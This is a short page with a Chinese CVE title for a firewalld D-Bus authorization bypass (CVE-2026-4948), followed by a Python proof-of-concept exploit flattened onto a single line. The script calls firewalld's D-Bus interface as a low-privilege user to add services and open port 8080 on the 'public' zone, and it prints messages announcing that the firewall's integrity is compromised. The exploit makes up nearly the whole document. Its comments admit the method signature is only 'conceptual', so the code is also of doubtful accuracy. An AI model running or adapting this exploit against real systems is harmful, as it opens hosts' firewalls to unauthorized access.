CVE-2026-4948 firewalld本地权限配置篡改漏洞

import dbus import sys # Exploit Title: firewalld D-Bus Authorization Bypass (CVE-2026-4948) # Description: PoC to demonstrate unauthorized modification of runtime firewall settings. # Usage: python3 poc.py def exploit_poc(): try: # Connect to the System Bus bus = dbus.SystemBus() # Get the firewalld service object fw_object = bus.get_object('org.fedoraproject.FirewallD1', '/org/fedoraproject.FirewallD1') # Access the configuration interface # Note: Interface name might vary based on version, typically org.fedoraproject.FirewallD1.config fw_interface = dbus.Interface(fw_object, 'org.fedoraproject.FirewallD1.config') print("[+] Connected to firewalld D-Bus interface.") # Attempt to modify a zone setting without authorization # Targeting the vulnerable setZoneSettings2 or setPolicySettings # Example parameters for modifying the 'public' zone zone_name = 'public' malicious_settings = { 'description': 'Modified by low-priv user', 'services': ['ssh', 'http'], # Adding unauthorized services 'ports': [('8080', 'tcp')] # Opening ports } print(f"[*] Attempting to modify runtime settings for zone: {zone_name}") # Call the vulnerable method (Signature may vary, this is a conceptual representation) fw_interface.setZoneSettings2(zone_name, malicious_settings) print("[!] Successfully modified firewall runtime configuration!") print("[!] Integrity compromised: Firewall rules changed.") except dbus.exceptions.DBusException as e: print(f"[-] D-Bus Error: {e}") except Exception as e: print(f"[-] General Error: {e}") if __name__ == "__main__": exploit_poc()